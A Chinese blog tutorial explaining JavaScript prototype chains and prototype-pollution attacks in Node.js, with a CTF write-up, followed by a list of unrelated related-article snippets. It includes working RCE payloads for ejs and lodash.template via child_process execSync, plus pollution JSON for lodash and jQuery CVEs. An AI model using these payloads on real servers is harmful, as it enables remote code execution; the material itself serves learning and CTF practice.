浅谈 Nodejs原型链污染
一直在做php的题目,对其它语言做的很少。刚好在西湖论剑2022复现时,遇到了一道原型链污染的题目,借此机会开始简单学习一下 Nodejs的洞
p🐂讲解的十分清楚,因此下面举例子就直接用p🐂的例子进行解释了
目录
<1> Node.js基础
(1) 类与构造函数(constructor)
(2) 同步和异步
(3) fs模块
(4) child_process模块
<2> 什么是原型链
(1) prototype
(2) __proto__
(3) 原型链的继承思想
<3> 原型链污染
(1) 简单介绍
(2) merge操作导致原型链污染
(3) ejs污染
(4) lodash污染
(5) JQuery污染
Code-Breaking 2018 Thejs
Xnuca2019 Hardjs
<1> Node.js基础
简单的说 Node.js 就是运行在服务端的 JavaScript。
Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。
Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。
这里就只介绍一下后续CTF题会涉及到的一些 node.js的基础
node.js 允许用户从NPM服务器下载别人编写的第三方包到本地使用
这就像python 一样pip下载包以后,通过import引入,而node.js是通过require引入的
(1) 类与构造函数(constructor)
JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:
一个类必然有一些方法,类似属性this.bar,我们也可以将方法定义在构造函数内部:
function Foo() {this.bar = 1this.show = function() {console.log(this.bar)}
}(new Foo()).show()
如上段代码:Foo函数的内容,就是Foo类的构造函数,而this.bar就是Foo类的一个属性。
这段代码功能就是 定义一个Foo类,调用Foo类的show方法,会输出它的 bar 属性
但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function...就会执行一次,这个show方法实际上是绑定在对象上的,而不是绑定在“类”中。
我希望在创建类的时候只创建一次show方法,这时候就则需要使用原型(prototype)了
后面会提到
(2) 同步和异步
Node.js 文件系统(fs 模块)模块中的方法均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile() 和同步的 fs.readFileSync()。
异步的方法函数最后一个参数为回调函数,回调函数的第一个参数包含了错误信息(error)。
解释一下同步和异步,就像我们常说的一心二用一样,异步就是我们的一心二用,一边吃饭,一边看电视,而同步就是,吃完饭再看电视。
简单的说就是:
当你先读取文件输出后输出一段话的时候
同步:先输出文件内容,再输出一段话
异步:先输出一段话,后输出文件内容
(3) fs模块
node.js的文件操作模块,我们本地建立一个sd.txt
它的同步函数:readFileSync,异步函数:readFile
var fs = require("fs");// 异步读取
fs.readFile('sd.txt', function (err, data) {if (err) {return console.error(err);}console.log("异步读取: " + data.toString());
});// 同步读取
var data = fs.readFileSync('sd.txt');
console.log("同步读取: " + data.toString());console.log("程序执行完毕。");
同步读取: abcdefg
程序执行完毕。
异步读取: abcdefg
(4) child_process模块
child_process提供了几种创建子进程的方式
异步方式:spawn、exec、execFile、fork
同步方式:spawnSync、execSync、execFileSync
经过上面的同步和异步思想的理解,创建子进程的同步异步方式应该不难理解。
在异步创建进程时,spawn是基础,其他的fork、exec、execFile都是基于spawn来生成的。
同步创建进程可以使用child_process.spawnSync()、child_process.execSync() 和 child_process.execFileSync() ,同步的方法会阻塞 Node.js 事件循环、暂停任何其他代码的执行,直到子进程退出。
其中的一些函数,在一些情况下,可以导致命令执行漏洞,后面写题时候会用到
其中,JavaScript的继承关系并非像Java一样,有父类子类之分,而是通过一条原型链来进行继承的
<2> 什么是原型链
(1) prototype
在JavaScript中,prototype对象是实现面向对象的一个重要机制。
它是函数所独有的,它是从一个函数指向一个对象
它的含义是函数的原型对象,也就是构造函数(constructor)所创建的实例的原型对象
个人觉得,它就相当于是类的一个实例的模板, 原型的对象。生成的对象都会参照这个原型对象
生成实例化对象时,如果自己没有的属性prototype有,就会继承此属性,有的话则不会覆盖。
例如看下面这段js代码:
function Foo() {this.bar = 1
}Foo.prototype.show = function show() {console.log(this.bar)
}let foo = new Foo()
foo.show()
可一看到,我们可以通过prototype属性,指向到这个函数的原型对象中然后创建一个show()函数,功能为输出 this.bar
我们可以认为原型 prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,
包括变量和方法。比如上图中的foo对象,其天生就具有foo.show()方法。
(2) __proto__
如上面所说,我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。
这时候,就该__proto__登场了
不同于prototype是函数特有的,它是对象所独有的,proto属性都是由一个对象指向一个对象,
即指向它们的原型对象(也可以理解为父对象)
一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:
foo.__proto__ === Foo.prototype (True)
即:
prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法。
一个对象的__proto__属性,指向这个对象所在的类的prototype属性
(3) 原型链的继承思想
function Father() {this.first_name = 'Donald'this.last_name = 'Trump'
}function Son() {this.first_name = 'Melania'
}Son.prototype = new Father()let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
console.log(son.__proto__)
console.log(son.__proto__.__proto__)
console.log(son.__proto__.__proto__.__proto__)
Son类继承了Father类的last_name属性,最后输出的是Name: Melania Trump

总结一下,对于对象son,在console.log() 调用
son.last_name的时候,实际上JavaScript引擎会进行如下操作:
- 在对象son中寻找last_name
- 如果找不到,则在
son.__proto__中寻找last_name- 如果仍然找不到,则继续在
son.__proto__.__proto__中寻找last_name- 依次寻找,直到找到
null结束。比如,Object.prototype的__proto__就是null
类似于Java里面继承的思想,如果子类没有这个属性, 往上继承父类. 有的话就自己用自己的 多态

JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链
- 每个构造函数(constructor)都有一个原型对象(prototype)
- 对象的
__proto__属性,指向类的原型对象prototype - JavaScript使用prototype链实现继承机制
<3> 原型链污染
(1) 简单介绍
- 在javascript,每一个实例对象都有一个
__proto__属性,这个实例属性指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对象的原型对象:
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype
- 不同对象所生成的原型链如下(部分):
var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> nullvar a = ["aa", "lisi", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> nullfunction f(){return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null
先来看一个简单的示例:
// foo是一个简单的JavaScript对象
let foo = {bar: 1}// foo.bar 此时为1
console.log(foo.bar)// 修改foo的原型(即Object)foo.__proto__.bar = 2// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)console.log(foo.__proto__)// 此时再用Object创建一个空的zoo对象
let zoo = {}// 查看zoo.bar
console.log(zoo.bar)
首先建立一个foo对象,有一个bar属性为1. 此时它的原型对象 并没有,后面通过 foo.__proto__指向了它的原型对象,也就等价于是 foo.prototype,即object。给 object 原型对象增加了bar属性,值为二 。 现在 object 有了(一个bar=2的prototype原型对象)。
后面我们再次 let zoo = {} ,zoo对象是空的
但是在我们输出zoo.bar的时候,node.js的引擎就开始在zoo中查找,发现没有,去zoo.proto中查找,即在Object中查找,而,我们的foo.prototype.bar = 2,就是给Object添加了一个bar属性,而这个属性则被zoo继承。
这种修改了一个某个对象的原型对象,从而控制别的对象的操作,就是原型链污染
(2) merge操作导致原型链污染
我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:
- 对象merge
- 对象clone(其实内核就是将待操作的对象merge到一个空对象中)
merge操作是最常见可能控制键名的操作,也最能被原型链攻击
以对象merge为例,我们想象一个简单的merge函数:
function merge(target, source) {for (let key in source) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}
}
在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__(json格式才可以被当成key),是不是就可以原型链污染呢?
let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)object3 = {}
console.log(object3.b)
// 1 2
// 2
需要注意的点是:
在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。
(3) ejs污染
参考:Express+lodash+ejs: 从原型链污染到RCE - evi0s' Blog
if (!this.source) {this.generateSource();prepended += ' var __output = [], __append = __output.push.bind(__output);' + '\n';if (opts.outputFunctionName) {prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';}if (opts._with !== false) {prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';appended += ' }' + '\n';}appended += ' return __output.join("");' + '\n';this.source = prepended + this.source + appended;
}
这里有一个代码注入的漏洞
可以看到, opts 对象 outputFunctionName 成员在 express 配置的时候并没有给他赋值,默认也是未定义,即 undefined,这样在 574 行时,if 判否,跳过
但是在我们有原型链污染的前提之下,我们可以控制基类的成员。这样我们给 Object 类创建一个成员 outputFunctionName,这样可以进入 if 语句,并将我们控制的成员 outputFunctionName 赋值为一串恶意代码,从而造成代码注入。在后面模版渲染的时候,注入的代码被执行,也就是这里存在一个代码注入的 RCE
至于恶意代码构造就非常简单了。在不考虑后果的情况下,我们可以直接构造如下代码:
a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //
放到代码里面看就是
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var a; return global.process.mainModule.constructor._load("child_process").execSync("whoami"); // 后面的代码都被注释了'
这样看这样我们构造的payload就会被拼接进js语句中,并在ejs渲染时进行RCE
(4) lodash污染
CVE-2019-10744
lodash.defaultsDeep(obj,JSON.parse(objstr));
只需要有objstr为
{"content":{"prototype":{"constructor":{"a":"b"}}}}
在合并时便会在Object上附加a=b这样一个属性
lodash 是一个非常流行的JavaScript工具库
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'function check() {mergeFn({}, JSON.parse(payload));if (({})[`a0`] === true) {console.log(`Vulnerable to Prototype Pollution via ${payload}`);}}check();
运行上面的js语句,就可以检查这个版本的lodash是否存在这个漏洞。
其中漏洞关键触发点在defaultsDeep函数,它将({}, JSON.parse(payload))merge时,就可能导致原型链污染。使用JSON.parse就是保证合并时能以字典解析,而不是字符串
(5) JQuery污染
JQuery 是一个非常流行的Js前端工具库,而它也存在原型链污染漏洞,CVE:CVE-2019-11358 版本小于3.4.0时

可以看到
$.extend(true,{},JSON.parse('{"__proto__":{"aa":"hello"}}'))
Jquery可以用$.extend将两个字典merge,而这也因此污染了原型链。
Code-Breaking 2018 Thejs
源码:https://www.leavesongs.com/media/attachment/2018/11/23/thejs.tar.gz
URL: code-breaking/2018/thejs at master · phith0n/code-breaking · GitHub
看一下主要的代码:server.js
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({name: 'thejs.session',secret: randomize('aA0', 16),resave: false,saveUninitialized: false
}))app.engine('ejs', function (filePath, options, callback) { // define the template enginefs.readFile(filePath, (err, content) => {if (err) return callback(new Error(err))let compiled = lodash.template(content)let rendered = compiled({...options})return callback(null, rendered)})
})
app.set('views', './views')
app.set('view engine', 'ejs')app.all('/', (req, res) => {// 定义sessionlet data = req.session.data || {language: [], category: []}if (req.method == 'POST') {// 获取post数据并合并data = lodash.merge(data, req.body)req.session.data = data// 再将data赋值给session}res.render('index', {language: data.language, category: data.category})
})app.listen(3000, () => console.log('Example app listening on port 3000!'))
lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:
lodash.template一个简单的模板引擎lodash.merge函数或对象的合并
其实整个应用逻辑很简单,用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。
而这里的lodash.merge操作实际上就存在原型链污染漏洞。
在污染原型链后,我们相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的lodash.template中。页面最终会通过lodash.template进行渲染,跟踪到lodash/template.js:
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {return Function(importsKeys, sourceURL + 'return ' + source).apply(undefined, importsValues);
});
options是一个对象,sourceURL取到了其options.sourceURL属性。这个属性原本是没有赋值的,默认取空字符串。
因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。那这个sourceURL是否可以被我们利用呢? 继续跟进
var result = attempt(function() {return Function(importsKeys, sourceURL + 'return ' + source).apply(undefined, importsValues);});
最后,这个sourceURL被拼接进 Function函数 的第二个参数中,造成任意代码执行漏洞
通过构造global.process.mainModule.constructor._load('child_process').exec('ls')// 就可以执行任意代码了
注:这里不能用require 因为:ReferenceError: require is not defined

p神给了一个更好的payload:
{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}
p🐂对payload里for循环的解释:
原型链污染攻击有个弊端,就是你一旦污染了原型链,除非整个程序重启,否则所有的对象都会被污染与影响。
这将导致一些正常的业务出现bug,或者就像这道题里一样,我的payload发出去,response里就有命令的执行结果了。这时候其他用户访问这个页面的时候就能看到这个结果,所以在CTF中就会泄露自己好不容易拿到的flag,所以需要一个for循环把Object对象里污染的原型删掉
Xnuca2019 Hardjs
Javascript 原型链污染 分析 | JrXnm' blog
相关文章:
Node.js 常见漏洞学习与总结 - 先知社区
深入理解 JavaScript Prototype 污染攻击 | 离别歌
相关文章:
浅谈 Nodejs原型链污染
一直在做php的题目,对其它语言做的很少。刚好在西湖论剑2022复现时,遇到了一道原型链污染的题目,借此机会开始简单学习一下 Nodejs的洞 p🐂讲解的十分清楚,因此下面举例子就直接用p🐂的例子进行解释了 目…...
Linux系统安装Docker
目录 Linux系统安装Docker 1、如果之前安装过旧版本的Docker,可以使用下面命令卸载 2、安装docker 3、启动docker 4、配置镜像加速 Linux系统安装Docker 前提:Docker CE 支持 64 位版本 CentOS 7,并且要求内核版本不低于 3.10࿰…...
MCP2515国产替代DP2515带有SPI 接口的独立CAN 控制器
DP2515是一款独立控制器局域网络(Controller AreaNetwork, CAN)协议控制器,完全支持CAN V2.0B 技术规范。该器件能发送和接收标准和扩展数据帧以及远程帧。DP2515自带的两个验收屏蔽寄存器和六个验收滤波寄存器可以过滤掉不想要的…...
【Kubernetes】第二十篇 - k8s 污点和容忍度
一,前言 上一篇,介绍了 k8s ConfigMap 管理服务环境变量; 本篇,介绍 k8s 污点和容忍度; 二,污点与容忍度介绍 通过污点和容忍度配置可以干预 Pod 部署到特定的节点; 比如: 不想让…...
60% 程序员大呼:我要远程办公!
近几年数字化的普及,白领们从挤地铁、打卡、开会、写日报转变成“早上9点视频会议”,企业的办公场所也从写字楼、会议室、工位变成了手机、电脑中的线上会议室,远程办公已经成为一种流行的办公形式。《财富》杂志发现,75%的员工表…...
jmeter+ant+jenkins接口自动化测试框架
大致思路:Jmeter可以做接口测试,也能做压力测试,而且是开源软件;Ant是基与java的构建工具,完成脚本执行并收集结果生成报告,可以跨平台,Jenkins是持续集成工具。将这三者结合起来可以搭建一套We…...
【protoc自定义插件】「go语言」实现rpc的服务映射成http的服务,protoc生成gin的插件,(详解实现原理及过程)
文章目录前言一、工程实践中如何更好的使用proto文件?二、protoc命令如何查询依赖的proto文件以及执行原理1. protoc命令如何查询依赖的proto文件2. protoc执行的插件加载原理是什么?3. proto文件中的package和go_package的作用三、protoc插件开发原理体…...
【C语言】3天速刷C语言(语句、函数)
语句分支语句if语句if语句语法结构语法结构: if(表达式)语句; if(表达式)语句1; else语句2; //多分支 if(表达式1)语句1; else if(表达式2)语句2; else语句3;表达式如果成立,则执行,不成立则弹出。switch语句语法结构:switch(…...
Linux系统中指针的详细分析与操作
文章目录 一、指针 二、指针的初始化 三、指针的运算 四、指针与数组 五、指针与字符串 六、函数指针 七、NULL 指针 八、对复杂指针的解释 C 语言指针真正精髓的地方在于指针可以进行加减法,这一点极大的提升了程序的对指针使用的灵活性,同时也…...
工程(十一)——NUC11+D435i+VINS-FUSION+ESDF建图(github代码)
博主的合并代码gitgithub.com:huashu996/VINS-FUSION-ESDFmap.git一、D435i深度相机配置1.1 SDKROS参考我之前的博客,步骤和所遇见的问题已经写的很详细了https://blog.csdn.net/HUASHUDEYANJING/article/details/129323834?spm1001.2014.3001.55011.2 相机标定参数…...
第十四届蓝桥杯三月真题刷题训练——第 4 天
目录 题目 1 :九数算式_dfs回溯(全排列) 题目描述 运行限制 代码: 题目2:完全平方数 问题描述 输入格式 输出格式 样例输入 1 样例输出 1 样例输入 2 样例输出 2 评测用例规模与约定 运行限制 代码: 题目 1 &am…...
Hadoop 运行环境搭建(开发重点)
文章目录Hadoop 运行环境搭建(开发重点)一、安装JDK二、安装配置 Hadoop1、安装 hadoop2、hadoop 目录结构3、设置免密登录4、完全分布式模式(开发重点)1)分发jdk2)集群配置(1) 集群部署规划(2) 配置文件说…...
在社交媒体上行之有效的个人IP趋势
如果您认为无论是获得一份工作、建立一家企业还是推动个人职业发展,社交媒体都是帮助您实现目标的可靠工具,那么个人IP就是推动这一工具前进的燃料。个人IP反映了您是谁,您在所处领域的专业程度,以及您与他人的区别。社交媒体将有…...
Java网络编程
网络编程 什么是网络编程? 可以让设备中的程序与网络上其他设备中的程序进行数据交互(实现网络通信) Java.net. 包下提供了网络编程的解决方案* 基本的通信架构 基本的通信架构有两种方式:CS架构(Client客户端/Se…...
PTA:L1-001 Hello World、L1-002 打印沙漏、L1-003 个位数统计(C++)
目录 L1-001 Hello World 问题描述: 实现代码: L1-002 打印沙漏 问题描述: 实现代码: 原理思路: L1-003 个位数统计 题目描述: 实现代码: 原理思路: 过于简单的就不再写题…...
构造HTTP请求
使用formform使用如下:<body><!-- 表单标签,允许用户和服务器之间交互数据 --><form action"https://www.sogou.com" method"get"><!-- 要求提交的数据以键值对的结构来组织 --><input type"text" name"stduent…...
转速/线速度/角速度计算FC
工业应用中很多设备控制离不开转速、线速度的计算,这篇博客给大家汇总整理。张力控制的开环闭环方法中也离不开转速和线速度的计算,详细内容请参看下面的文章链接: PLC张力控制(开环闭环算法分析)_plc的收卷张力控制系统_RXXW_Dor的博客-CSDN博客里工业控制张力控制无处不…...
学习笔记:Java并发编程(补)ThreadLocal
【尚硅谷】学习视频:https://www.bilibili.com/video/BV1ar4y1x727【黑马程序员】学习视频:https://www.bilibili.com/video/BV15b4y117RJ 参考书籍 《实战 JAVA 高并发程序设计》 葛一鸣 著《深入理解 JAVA 虚拟机 | JVM 高级特性与最佳实践》 周志明 著…...
HashMap底层实现原理及面试题
文章目录1. 常见的数据结构有三种结构1.1 各自数据结构的特点2. HashMap2.1 概述2.2 底层结构2.2.1 HashMa实现原理:2.2.1.1 map.put(k,v)实现原理2.2.1.2 map.get(k)实现原理2.2.1.3 resize源码2.2.2 HashMap常用的变量2.2.3 HashMap构造函数2.3 JDK1.8之前存在的问…...
【STM32】进阶(二):DMA+ADC实现模拟量检测
1、简述 DMA:Direct Memory Access,直接内存访问 ADC:Analog to Digital Converter,模数转换器,模拟信号转换成数字信号的电路(采样-量化-编码) 参考博客: STM32DMA功能详解 STM32…...
多云管理“拦路虎”:深入解析网络互联、身份同步与成本可视化的技术复杂度
一、引言:多云环境的技术复杂性本质 企业采用多云策略已从技术选型升维至生存刚需。当业务系统分散部署在多个云平台时,基础设施的技术债呈现指数级积累。网络连接、身份认证、成本管理这三大核心挑战相互嵌套:跨云网络构建数据…...
多场景 OkHttpClient 管理器 - Android 网络通信解决方案
下面是一个完整的 Android 实现,展示如何创建和管理多个 OkHttpClient 实例,分别用于长连接、普通 HTTP 请求和文件下载场景。 <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas…...
css的定位(position)详解:相对定位 绝对定位 固定定位
在 CSS 中,元素的定位通过 position 属性控制,共有 5 种定位模式:static(静态定位)、relative(相对定位)、absolute(绝对定位)、fixed(固定定位)和…...
第 86 场周赛:矩阵中的幻方、钥匙和房间、将数组拆分成斐波那契序列、猜猜这个单词
Q1、[中等] 矩阵中的幻方 1、题目描述 3 x 3 的幻方是一个填充有 从 1 到 9 的不同数字的 3 x 3 矩阵,其中每行,每列以及两条对角线上的各数之和都相等。 给定一个由整数组成的row x col 的 grid,其中有多少个 3 3 的 “幻方” 子矩阵&am…...
Android 之 kotlin 语言学习笔记三(Kotlin-Java 互操作)
参考官方文档:https://developer.android.google.cn/kotlin/interop?hlzh-cn 一、Java(供 Kotlin 使用) 1、不得使用硬关键字 不要使用 Kotlin 的任何硬关键字作为方法的名称 或字段。允许使用 Kotlin 的软关键字、修饰符关键字和特殊标识…...
Web 架构之 CDN 加速原理与落地实践
文章目录 一、思维导图二、正文内容(一)CDN 基础概念1. 定义2. 组成部分 (二)CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 (三)CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 …...
算法笔记2
1.字符串拼接最好用StringBuilder,不用String 2.创建List<>类型的数组并创建内存 List arr[] new ArrayList[26]; Arrays.setAll(arr, i -> new ArrayList<>()); 3.去掉首尾空格...
MySQL账号权限管理指南:安全创建账户与精细授权技巧
在MySQL数据库管理中,合理创建用户账号并分配精确权限是保障数据安全的核心环节。直接使用root账号进行所有操作不仅危险且难以审计操作行为。今天我们来全面解析MySQL账号创建与权限分配的专业方法。 一、为何需要创建独立账号? 最小权限原则…...
听写流程自动化实践,轻量级教育辅助
随着智能教育工具的发展,越来越多的传统学习方式正在被数字化、自动化所优化。听写作为语文、英语等学科中重要的基础训练形式,也迎来了更高效的解决方案。 这是一款轻量但功能强大的听写辅助工具。它是基于本地词库与可选在线语音引擎构建,…...
智能AI电话机器人系统的识别能力现状与发展水平
一、引言 随着人工智能技术的飞速发展,AI电话机器人系统已经从简单的自动应答工具演变为具备复杂交互能力的智能助手。这类系统结合了语音识别、自然语言处理、情感计算和机器学习等多项前沿技术,在客户服务、营销推广、信息查询等领域发挥着越来越重要…...
